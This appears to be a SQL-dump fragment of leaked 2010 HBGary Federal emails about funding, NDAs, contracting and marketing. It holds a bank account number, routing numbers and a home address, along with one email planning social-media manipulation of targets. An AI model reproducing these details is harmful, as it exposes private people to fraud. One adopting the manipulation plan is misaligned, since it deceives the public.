&lt;ted@hbgary.com&gt;Mailing check.\r\n\r\nOn 7/14/10, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n&gt; Hi Rich,\r\n&gt;\r\n&gt; I haven&#39;t seen it hit the balance sheet yet, did you do a direct deposit or\r\n&gt; mail me a check?\r\n&gt;\r\n&gt; Thanks,\r\n&gt; Ted\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; On Mon, Jul 12, 2010 at 7:17 AM, Rich Cummings &lt;rich@hbgary.com&gt; wrote:\r\n&gt;\r\n&gt;&gt; Hey Ted,\r\n&gt;&gt;\r\n&gt;&gt; I hope you&#39;re doing well.  I will do it today.\r\n&gt;&gt;\r\n&gt;&gt; Thanks,\r\n&gt;&gt; Rich\r\n&gt;&gt;\r\n&gt;&gt; -----Original Message-----\r\n&gt;&gt; From: Ted Vera [mailto:ted@hbgary.com]\r\n&gt;&gt; Sent: Saturday, July 10, 2010 2:08 PM\r\n&gt;&gt; To: Ted Vera\r\n&gt;&gt; Cc: Penny Leavy; Bob Slapnik; Rich Cummings; Barr Aaron\r\n&gt;&gt; Subject: Re: HBGary Federal Funding\r\n&gt;&gt;\r\n&gt;&gt; If you haven&#39;t already sent your payment please do so because our\r\n&gt;&gt; funds are low.\r\n&gt;&gt;\r\n&gt;&gt; Thanks,\r\n&gt;&gt; Ted\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; On Jun 28, 2010, at 9:46 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n&gt;&gt;\r\n&gt;&gt; &gt; The second quarterly round of HBGary Federal funding is due on July\r\n&gt;&gt; &gt; 1st, with amounts due as follows per the operating agreement\r\n&gt;&gt; &gt; (Penny &amp; HBGary may require adjustments based on previous\r\n&gt;&gt; contributions):\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt; Penny Leavy:  $39,013.33\r\n&gt;&gt; &gt; HBGary Inc:  $12,191.67\r\n&gt;&gt; &gt; Nina Slapnick:  $5,689.45\r\n&gt;&gt; &gt; Rich Cummings:  $1,625.57\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt; Please send your check to:\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt; HBGary Federal\r\n&gt;&gt; &gt; C/O Ted Vera\r\n&gt;&gt; &gt; 874 Legend Oak Dr.\r\n&gt;&gt; &gt; Fountain, CO 80817\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt; or transfer / wire:\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt; The acct # is 3803053804\r\n&gt;&gt; &gt; The routing # is 121042882\r\n&gt;&gt; &gt; The wire routing # is 121000248\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt; Please let me know if you have any questions.\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt; Ted\r\n&gt;&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; --\r\n&gt; Ted H. Vera\r\n&gt; President | COO\r\n&gt; HBGary Federal\r\n&gt; 719-237-8623\r\n&gt;\r\n\r\n--\r\nSent from my mobile device\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',5966,'aaron_hbgary_com/5966.html'),(8545,'2010-07-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006590.M609800P14101Q3401.eml','\"Barr Aaron\" <aaron@hbgary.com>','TMC','Damn it, we hit another snag.  The backups are incomplete.  We tracked it down to a short power outage that occurred last night.  We need to get a couple of UPS&#39;s.  So...We started the backup again which will take about 3hrs, then we can install the TMC Slave node.\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',14264,'aaron_hbgary_com/14264.html'),(8546,'2010-07-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006590.M925663P14101Q3402.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','External funding','Thinking of approaching Mantech for some funding, but obviously need\r\nto talk with you and other owners of federal first.\r\n\r\nLet me know when you have some time.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',4642,'aaron_hbgary_com/4642.html'),(8547,'2010-07-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006590.M96992P14101Q3399.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: HBGary Federal Funding','Hi Rich,I haven&#39;t seen it hit the balance sheet yet, did you do a direct deposit or mail me a check?Thanks,Ted\r\nOn Mon, Jul 12, 2010 at 7:17 AM, Rich Cummings &lt;rich@hbgary.com&gt; wrote:\r\nHey Ted,\r\n\r\nI hope you&#39;re doing well.  I will do it today.\r\n\r\nThanks,\r\nRich\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Saturday, July 10, 2010 2:08 PM\r\nTo: Ted Vera\r\nCc: Penny Leavy; Bob Slapnik; Rich Cummings; Barr Aaron\r\nSubject: Re: HBGary Federal Funding\r\n\r\nIf you haven&#39;t already sent your payment please do so because our\r\nfunds are low.\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n\r\nOn Jun 28, 2010, at 9:46 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n&gt; The second quarterly round of HBGary Federal funding is due on July\r\n&gt; 1st, with amounts due as follows per the operating agreement\r\n&gt; (Penny &amp; HBGary may require adjustments based on previous\r\ncontributions):\r\n&gt;\r\n&gt; Penny Leavy:  $39,013.33\r\n&gt; HBGary Inc:  $12,191.67\r\n&gt; Nina Slapnick:  $5,689.45\r\n&gt; Rich Cummings:  $1,625.57\r\n&gt;\r\n&gt; Please send your check to:\r\n&gt;\r\n&gt; HBGary Federal\r\n&gt; C/O Ted Vera\r\n&gt; 874 Legend Oak Dr.\r\n&gt; Fountain, CO 80817\r\n&gt;\r\n&gt; or transfer / wire:\r\n&gt;\r\n&gt; The acct # is 3803053804\r\n&gt; The routing # is 121042882\r\n&gt; The wire routing # is 121000248\r\n&gt;\r\n&gt; Please let me know if you have any questions.\r\n&gt;\r\n&gt; Ted\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',15517,'aaron_hbgary_com/15517.html'),(8548,'2010-07-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006591.M151669P14101Q3403.eml','\"Greg Hoglund\" <greg@hbgary.com>','Tmc + gargoyle + social media monitoring','As we have time and funding we want to build a social media monitoring\r\ncapability for target analysis, communication stream analysis.  As i\r\nmentioned the closer you get to the event itself the better\r\nopportunity you have for manipulation.  Also people are trusting by\r\nnature.  If you inject yourself into a meme even though you could be\r\nin another country the more likely hood you can some immediate trust.\r\n\r\nAll that said.  Take the three harvesting capabilities listed in\r\nsubject and you have a powerful predictive analysis capability,\r\ntargeting tool.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',10755,'aaron_hbgary_com/10755.html'),(8549,'2010-07-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006591.M377032P14101Q3404.eml','\"Barr Aaron\" <aaron@hbgary.com>','David','David Willson, Esq., CISSP has sent you a message.\r\nDate: 7/14/2010Subject: RE: Regarding your new position at NEK Advanced Securities Group, Inc.\r\nHey Ted, yes, this is full-time. I begin in August. Please give me a call or send me a note in mid to late August. I will make a note to myself, but will likely be in a whirlwind at that time getting up to speed. Hope all is well with you. \r\nDave 719-648-4176c On 07/13/10 9:44 PM, Ted Vera wrote: -------------------- Congrats David, Is this a full-time position, will you still be consulting or pursuing trust anchor? Our CEO recently met NEKs CEO and it sounded Iike there are some synergies for possible teaming. Once you get settled in, I&#39;d like to set up a meeting so we can exchange capabilities briefings. \r\nWarm regards, Ted-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',15851,'aaron_hbgary_com/15851.html'),(8550,'2010-07-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006591.M608418P14101Q3405.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: HBGary','FYI ------------ Forwarded message ----------From: Ted Vera &lt;ted@hbgary.com&gt;Date: Wed, Jul 14, 2010 at 10:07 AM\r\nSubject: Re: HBGaryTo: mwright@scitor.com, sferrell@scitor.comCc: JWysocki@scitor.com\r\nGreetings Mike &amp; Steve,I was referred to you by Joe Wysocki as both being Colorado Springs business leads for Cyber related activities.  My name is Ted Vera, and I run a small software development and services company, HBGary.  We specialize in all things related to malware.  Greg Hoglund is our CEO and founded the company in 2003.  Greg is an accomplished author, world recognized leader in rootkit technology and was recently named one of &quot;10 hackers to know&quot; in Network Security magazine.  We offer a number of Cyber services including malware reverse engineering, vulnerability research, exploit development, incident response, penetration testing, and digital forensics.  We also have a mature product-line of COTS which assist in accomplishing those tasks.  \r\n\r\nI&#39;ve attached three whitepapers that I think you may find interesting.  The first is our analysis of the Aurora attack, the second is a how-to guide for using our REcon product to develop software exploits, and the third describes our latest Enterprise product, Active Defense.  \r\n\r\nIf you&#39;re interested, I&#39;d love to have an opportunity to discuss capabilities and Cyber related business development opportunities.  \r\nRegards,Ted-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\nhttp://www.hbgary.com\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',8222,'aaron_hbgary_com/8222.html'),(8551,'2010-07-14','\"Reagan, JR (US - Arlington)\" <jreagan@deloitte.com>','/aaron@hbgary.com/new/1297006592.M279943P14101Q3406.eml','\"Varner, Bill\" <Bill.Varner@ManTech.com>,aaron@hbgary.com,alexander.miller@l-3com.com,barbara.g.fast@boeing.com,bill.phelps@accenture.com,bmalexia@rockwellcollins.com,ccpalmer@us.ibm.com,coxld@saic.com,david_joslin@federal.dell.com,dusty.wince@knowledgecg.com,ed.gibson@us.pwc.com,gjg@mitre.org,jkoenig@harris.com,john.osterholz@baesystems.com,jpayne@telcordia.com,jwatters@isightpartners.com,kathy.warden@ngc.com,kenneth.sannicolas@stanleyassociates.com,lance.cottrell@abraxascorp.com,michael.fraser@usis.com,nadia.short@gd-ais.com,pat.burke@sra.com,rdix@juniper.net,rodney.joffe@neustar.biz,roger_anderson@appsig.com,samuel.chun@hp.com,scottmil@microsoft.com,shawn.carroll@qwest.com,skip.foote@americansystems.com,steve_k_hawkins@raytheon.com,svisner@csc.com,tiffany_jones@symantec.com,wcooper@cisco.com,zazmi@caci.com','RE: Greetings!','\r\n\r\n\r\n\r\n\r\n						This message contains a digitally signed email which can be read by opening the attachment.\r\n								\r\n						This message (including any attachments) contains confidential information intended for a specific individual and purpose, and is protected by law.&nbsp; If you are not the intended recipient, you should delete this message.&nbsp;\r\n						Any disclosure, copying, or distribution of this message, or the taking of any action based on it, is strictly prohibited. [v.E.1]\r\n',10579,'aaron_hbgary_com/10579.html'),(8552,'2010-07-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006593.M385977P14101Q3408.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Need signature for NDA - LANL Penetration Testing','Sweet!  Looks like the PT is a go!---------- Forwarded message ----------From: Mari Jo Boynton &lt;MariJo.Boynton@agilex.com&gt;\r\nDate: Wed, Jul 14, 2010 at 12:27 PMSubject: Need signature for NDA - LANL Penetration TestingTo: Ted Vera &lt;ted@hbgary.com&gt;Cc: Ira Entis &lt;Ira.Entis@agilex.com&gt;, John Harllee &lt;John.Harllee@agilex.com&gt;\r\nTed,\r\n\r\nLANL requires each person on the project to sign and submit a NDA. Attached is one for you and one for Mark Trynor. This is for the penetration testing project in New Mexico.\r\n\r\nIs it possible for you and Mark to sign, date and return to me via email before noon tomorrow?\r\n\r\nPlease let me know, thanks.\r\n\r\nMari Jo\r\n\r\n\r\nMari Jo Boynton\r\nProposal and Content Manager\r\nAgilex Technologies, Inc.\r\n5155 Parkstone Drive  |  Chantilly, VA 20151  |  www.agilex.com\r\np:703.889.3922  |  f: 703.483.4900  |  m: 888.3AGILEX\r\nLEGAL DISCLAIMER: The information in this email is confidential. It is intended solely for the addressee. Access to this email by anyone else is unauthorized. If you are not the intended recipient, any disclosure, copying, distribution or any action taken or omitted to be taken in reliance on it, is prohibited and may be unlawful.\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',14056,'aaron_hbgary_com/14056.html'),(8553,'2010-07-14','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006593.M78062P14101Q3407.eml','\"Aaron Barr\" <aaron@hbgary.com>','can you add to this slide?','slide 3 - the state sponsored one, any terminology of known archetypes you can add?\r\n \r\n-Greg\r\n',12369,'aaron_hbgary_com/12369.html'),(8554,'2010-07-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006595.M48166P14101Q3409.eml','\"Mari Jo Boynton\" <MariJo.Boynton@agilex.com>','Re: Need signature for NDA - LANL Penetration Testing','Hi Mari Jo, the signed NDAs are attached.Regards,TedOn Wed, Jul 14, 2010 at 12:27 PM, Mari Jo Boynton &lt;MariJo.Boynton@agilex.com&gt; wrote:\r\nTed,\r\n\r\nLANL requires each person on the project to sign and submit a NDA. Attached is one for you and one for Mark Trynor. This is for the penetration testing project in New Mexico.\r\n\r\nIs it possible for you and Mark to sign, date and return to me via email before noon tomorrow?\r\n\r\nPlease let me know, thanks.\r\n\r\nMari Jo\r\n\r\n\r\nMari Jo Boynton\r\nProposal and Content Manager\r\nAgilex Technologies, Inc.\r\n5155 Parkstone Drive  |  Chantilly, VA 20151  |  www.agilex.com\r\np:703.889.3922  |  f: 703.483.4900  |  m: 888.3AGILEX\r\nLEGAL DISCLAIMER: The information in this email is confidential. It is intended solely for the addressee. Access to this email by anyone else is unauthorized. If you are not the intended recipient, any disclosure, copying, distribution or any action taken or omitted to be taken in reliance on it, is prohibited and may be unlawful.\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',5362,'aaron_hbgary_com/5362.html'),(8555,'2010-07-14','\"William Luti\" <wluti@digitalmanagement.com>','/aaron@hbgary.com/new/1297006597.M517843P14101Q3410.eml','aaron@hbgary.com','TSA Opportunity','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nTSA SOW as discussed. Please\r\ntake a look and see if your folks might fit the bill in some of these areas. \r\n\r\n&nbsp;\r\n\r\nAs always, good to talk with\r\nyou.\r\n\r\n&nbsp;\r\n\r\nBill\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14974,'aaron_hbgary_com/14974.html'),(8556,'2010-07-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006599.M73971P14101Q3411.eml','\"Cobb, Virginia (US SSA)\" <virginia.cobb@baesystems.com>','Re: Emailing: 7-14-10 IRC NDA, Form Rev 01 May 2009','Thanks Virginia, and sorry for the inconvenience.  Attached is the signed NDA.Regards,TedOn Wed, Jul 14, 2010 at 2:45 PM, Cobb, Virginia (US SSA) &lt;virginia.cobb@baesystems.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\nNDA with your company name changed. \r\n\r\n \r\n\r\nThanks, \r\n\r\nGinger Cobb\r\n\r\nSubcontract Administrator\r\n\r\nBAE Systems Technology Solutions &amp; Services Inc.\r\n\r\n308 Voyager Way\r\n\r\nHuntsville, AL  35806\r\n\r\nPH: 256-890-8111\r\n\r\nFX:  256-319-4111\r\n\r\nEmail:  virginia.cobb@baesystems.com\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Wednesday, July 14, 2010 3:28 PM\r\nTo: Cobb, Virginia (US SSA)\r\nSubject: Re: Emailing: 7-14-10 IRC NDA, Form Rev 01 May 2009\r\n\r\n\r\n\r\n \r\n\r\nI&#39;m sorry Virginia, I have one more change, from HBGary,\r\nInc. to HBGary Federal, LLC (our Gov&#39;t focused entity).\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nOn Wed, Jul 14, 2010 at 2:12 PM, Cobb, Virginia (US SSA)\r\n&lt;virginia.cobb@baesystems.com&gt;\r\nwrote:\r\n\r\nCorrect NDA is now attached.  Sorry for the error\r\nearlier.\r\n\r\n\r\n\r\n\r\nGinger Cobb\r\nSubcontract Administrator\r\nBAE Systems Technology Solutions &amp; Services Inc.\r\n308 Voyager Way\r\nHuntsville, AL  35806\r\nPH: 256-890-8111\r\nFX:  256-319-4111\r\nEmail:  virginia.cobb@baesystems.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Cobb, Virginia (US SSA)\r\nSent: Wednesday, July 14, 2010 1:09 PM\r\nTo: &#39;ted@hbgary.com&#39;\r\nCc: &#39;mark@hbgary.com&#39;; Chisholm, Chris (US\r\nSSA)\r\nSubject: Emailing: 7-14-10 IRC NDA, Form Rev 01 May 2009\r\n\r\nMr. Vera,\r\n\r\nAttached is the subject NDA for review and signature.  Upon receipt of\r\nyour signed copy, a fully executed copy will be returned to you.  Let me\r\nknow if you have any questions.\r\n\r\nThanks,\r\nGinger Cobb\r\nSubcontract Administrator\r\nBAE Systems Technology Solutions &amp; Services Inc.\r\n308 Voyager Way\r\nHuntsville, AL  35806\r\nPH: 256-890-8111\r\nFX:  256-319-4111\r\nEmail:  virginia.cobb@baesystems.com\r\n\r\n\r\nThe message is ready to be sent with the following file or link attachments:\r\n\r\n7-14-10 IRC NDA, Form Rev 01 May 2009\r\n\r\n\r\nNote: To protect against computer viruses, e-mail programs may prevent sending\r\nor receiving certain types of file attachments.  Check your e-mail\r\nsecurity settings to determine how attachments are handled.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',5816,'aaron_hbgary_com/5816.html'),(8557,'2010-07-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006603.M218996P14101Q3412.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: TSA Opportunity','\r\n\r\nSent from my iPhone\r\n\r\nBegin forwarded message:\r\n\r\n> From: William Luti \r\n> Date: July 14, 2010 4:42:48 PM EDT\r\n> To: \"aaron@hbgary.com\" \r\n> Subject: TSA Opportunity\r\n> \r\n\r\n> Aaron,\r\n> \r\n>  \r\n> \r\n> TSA SOW as discussed. Please take a look and see if your folks might fit the bill in some of these areas.\r\n> \r\n>  \r\n> \r\n> As always, good to talk with you.\r\n> \r\n>  \r\n> \r\n> Bill\r\n> \r\n> \r\n',14710,'aaron_hbgary_com/14710.html'),(8558,'2010-07-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006603.M486063P14101Q3413.eml','\"Barr Aaron\" <aaron@hbgary.com>','Scitor','I&#39;m meeting with Scitor on Aug 5th 2pm for a mutual capabilities brief &amp; biz opp discussion.-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',5210,'aaron_hbgary_com/5210.html'),(8559,'2010-07-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006603.M733113P14101Q3414.eml','bcoulson@digitalglobe.com,bcoulson@digitalglobe.com,','Re: HBGary follow up','Hi Brian,Sorry I haven&#39;t reached out to you yet, I forwarded your information along to Aaron Barr (cc&#39;d) who developed our social media training.  Perhaps we could schedule a telecon between the three of us to discuss your needs?  Are you available this Friday at 1pm Eastern time?\r\nRegards,TedOn Wed, Jul 14, 2010 at 3:12 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nHi BrianChecking in to see if you need help with your evaluation, and to confirm if you heard from Ted about the training?\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com   \r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',5421,'aaron_hbgary_com/5421.html'),(8560,'2010-07-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006606.M540291P14101Q3415.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','Fwd: TSA Opportunity','Aaron,What&#39;s the background on this? What&#39;s the opportunity?  Do they want us to team? Who is digitalmanagement.com?---------- Forwarded message ----------\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Date: Wed, Jul 14, 2010 at 2:58 PMSubject: Fwd: TSA OpportunityTo: Ted Vera &lt;ted@hbgary.com&gt;\r\nSent from my iPhoneBegin forwarded message:From: William Luti &lt;wluti@digitalmanagement.com&gt;\r\nDate: July 14, 2010 4:42:48 PM EDTTo: &quot;aaron@hbgary.com&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: TSA Opportunity\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nTSA SOW as discussed. Please\r\ntake a look and see if your folks might fit the bill in some of these areas. \r\n\r\n \r\n\r\nAs always, good to talk with\r\nyou.\r\n\r\n \r\n\r\nBill\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',13819,'aaron_hbgary_com/13819.html'),(8561,'2010-07-14','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006608.M181902P14101Q3416.eml','\"John Verducci\" <john@studioem.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: 3 graphic requests to follow','Aaron, you\'ll have to explain to John what you want, what you sent doesn\'t\r\nmake sense to me\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, July 14, 2010 9:20 AM\r\nTo: Penny Leavy\r\nSubject: 3 graphic requests to follow\r\n\r\nFirst one is the top image for the datasheet.  You can download the icons at\r\nhttp://icons.mysitemyway.com/category/black-ink-grunge-stamps-textures-icons\r\n/\r\nI would like the HBGary logo to stand out but fit in the grunge style.  2\r\nmore requests to follow.\r\n\r\nI would use the following ones:\r\nblogger\r\ndigg\r\nfacebook\r\nflickr\r\ngoogle\r\nhi5\r\nlinkedin\r\nmyspace\r\norkut\r\nreddit\r\nskype\r\ntechnorati\r\ntwitter\r\nwordpress\r\nyahoo\r\nyoutube\r\nyelp\r\n\r\n',12432,'aaron_hbgary_com/12432.html'),(8562,'2010-07-14','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006609.M943030P14101Q3417.eml','\"John Verducci\" <john@studioem.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: last graphic','\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, July 14, 2010 9:57 AM\r\nTo: Penny Leavy\r\nSubject: last graphic\r\n\r\nI am having a hard time with this one.\r\n\r\n',13775,'aaron_hbgary_com/13775.html'),(8563,'2010-07-14','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006610.M752382P14101Q3418.eml','\"John Verducci\" <john@studioem.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: 3rd graphic','\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, July 14, 2010 9:42 AM\r\nTo: Penny Leavy\r\nSubject: 3rd graphic\r\n\r\nSomething like this, a training wheel that shows the different aspects of\r\nour training.\r\n\r\nSocial Media:\r\nFamiliarization\r\nEngagement\r\nRisks\r\nUse Cases\r\nProtection and Processes\r\n\r\n\r\n',11725,'aaron_hbgary_com/11725.html'),(8564,'2010-07-14','bh-reg@blackhat.com','/aaron@hbgary.com/new/1297006611.M113990P14101Q3419.eml','Aaron@hbgary.com,Aaron@hbgary.com','Exhibitor Booth Staff Invoice or Receipt for Black Hat USA 2010','\r\nbody {\r\n	margin: 10px;\r\n	padding: 10px;\r\n	font-family: arial, Helvetica, sans;\r\n	height: 100%;\r\n	font-size: 9pt;\r\n}\r\n\r\n/*  Reset */\r\n* {\r\n	text-decoration: none;\r\n	font-size: 1em;\r\n	outline: none;\r\n	padding: 0;\r\n	margin: 0;\r\n	font-weight:normal;\r\n	font-family: arial, Helvetica, sans;\r\n}\r\n\r\nstrong {\r\n	font-weight: bold;\r\n}\r\n\r\n.strike {\r\n	text-decoration: line-through;\r\n}\r\n\r\nimg {\r\n	border:0;\r\n}\r\nimg.alignToText {\r\n	vertical-align: text-bottom;\r\n}\r\n\r\n/*clearfix*/\r\n\r\n.clearfix:after,\r\n.ip-container:after,\r\n.ip-element:after {\r\n	content: \".\";\r\n	display:block;\r\n	height:0;\r\n	clear:both;\r\n	visibility:hidden;\r\n}\r\n\r\n* html .clearfix,\r\n* html .ip-container,\r\n* html .ip-element {\r\n	height:0px;\r\n}\r\n\r\n.clearfix,\r\n.ip-container,\r\n.ip-element {\r\n	display:block;\r\n}\r\n\r\n.ip-hotelDescriptions {\r\n	clear:both;\r\n	margin:0 10px 4px;\r\n	vertical-align:middle;\r\n	display:block;\r\n}\r\n\r\n/* IE7 Specific radio button margin hack. -EHM */\r\n*+html .IE7_Radio   {\r\n	clear:both; \r\n}\r\n\r\n/* Cross platform FF/IE7 checkbox/radio button margin hack. May replace stye above. -EHM */\r\nSPAN.ip-elementContent input[type=\"checkbox\"], SPAN.ip-elementContent input[type=\"radio\"], SPAN.ip-elementContent input[type=\"text\"]  {\r\n	/*  clear: both;  -- Causing layout issues in IE7. Commented out 02/18/10 JG --*/\r\n	width:auto; \r\n	vertical-align:middle;\r\n}\r\n*+html SPAN.ip-elementContent input[type=\"text\"]   {\r\n	clear:none;\r\n}\r\n/* Don\'t clear on sexycombo or the element wraps */\r\nSPAN.ip-elementContent div.combo input[type=\"checkbox\"], \r\nSPAN.ip-elementContent div.combo input[type=\"radio\"], \r\nSPAN.ip-elementContent div.combo input[type=\"text\"]  {\r\n	clear: none; \r\n}\r\n\r\n/*end clearfix*/\r\n\r\n/* Limit table width to play nice in the column view */\r\n.ip-element .ip-elementContent table.ip-elementContentTable {\r\n	width: 500px;\r\n}\r\n.ip-leftContainer .ip-element .ip-elementContent table.ip-elementContentTable,\r\n.ip-rightContainer .ip-element .ip-elementContent table.ip-elementContentTable {\r\n	width: 320px;\r\n}\r\n\r\n.hidden {\r\n	display: none;\r\n}\r\ndiv#ip-adminView ul.setupGroup li {\r\n	margin:0 10px 4px 10px;\r\n}\r\ndiv#ip-adminView p {\r\n	margin:10px;\r\n}\r\ndiv.ip-containerBody{\r\n}\r\ndiv.ip-container {\r\n	clear: both; \r\n	display: block;\r\n	height: 100%; \r\n/*	overflow: hidden;  */\r\n	padding:10px 0 6px;\r\n}\r\n.ui-dialog-content div.ip-container {\r\n	padding: 0px;\r\n}\r\n/*div.ip-container .ip-element,\r\ndiv.ip-container .ip-sectionTitle,\r\ndiv.ip-container .ip-groupTitle {\r\n	padding-left: 2px;\r\n	padding-right: 2px;\r\n}*/\r\ndiv.ip-container div.ip-section {\r\n	clear: both;\r\n	margin-bottom: 5px;\r\n	display: block;\r\n	height: 100%;\r\n}\r\ndiv.ip-element > label.ip-elementLabel {\r\n	float: left;\r\n	width: 160px;\r\n	margin-top:2px;\r\n	margin-right: 10px;\r\n}\r\n.ip-containsWideLabels div.ip-element > label.ip-elementLabel {\r\n	width: 200px;\r\n}\r\ndiv.ip-container div.ip-element > label.ip-elementLabel.inlineLabel {\r\n	float: none;\r\n	width: auto;\r\n}\r\ndiv.ip-container div.ip-leftContainer,\r\ndiv.ip-container div.ip-rightContainer {\r\n	width: 49%;\r\n	max-width:500px;\r\n	/*margin-bottom: -1000px;\r\n	padding-bottom: 1000px;    JG 06/10/09   */\r\n}\r\ndiv.ip-container div.ip-leftContainer, div.ip-container div.ip-rightContainer { \r\n	float: left;\r\n}\r\ndiv.ip-containerTitle {\r\n	padding: 10px 2px 2px 10px;\r\n	font-size: 130%;\r\n	color: #003366;\r\n}\r\ndiv.ip-container div.ip-containerTitle {\r\n	font-size: 130%;\r\n	padding:0 10px 2px 10px;\r\n}\r\ndiv.ip-container div.ip-sectionTitle {\r\n	font-size: 130%;\r\n	margin:0 10px 6px 10px;\r\n}\r\ndiv.ip-container div.ip-groupTitle {\r\n	font-size: 1em;\r\n	font-weight:700;\r\n	margin:0 10px 6px 10px;\r\n	padding-bottom:4px;\r\n	border-bottom:1px solid #ccc;\r\n}\r\n\r\ndiv.ip-container span.ip-elementContent .clearfix {\r\n	display:inline-block;\r\n	padding-left: 160px;\r\n	padding-bottom:40px;\r\n	position:absolute;\r\n	\r\n}\r\n\r\ndiv.ip-container span.ip-elementContent input.ip-formText,\r\ndiv.ip-container span.ip-elementContent input.ip-formPassword {\r\n	width: 180px;\r\n}\r\n\r\n/* IE7 Specific formText margin hack. -EHM */\r\n*+html input.ip-formText, *+html input.ip-formPassword, *+html div.ip-element textarea  {\r\n	margin-left: -10px;\r\n}\r\n\r\n*+html input.ip-formText  {\r\n	float: none !important;\r\n}\r\n\r\n\r\ndiv.ip-container span.ip-elementContent input.ip-formText.nowidth,\r\ndiv.ip-container span.ip-elementContent input.ip-formPassword.nowidth {\r\n	width: auto;\r\n}\r\ndiv.ip-container div.ip-element textarea {\r\n	width: 180px;\r\n	height: 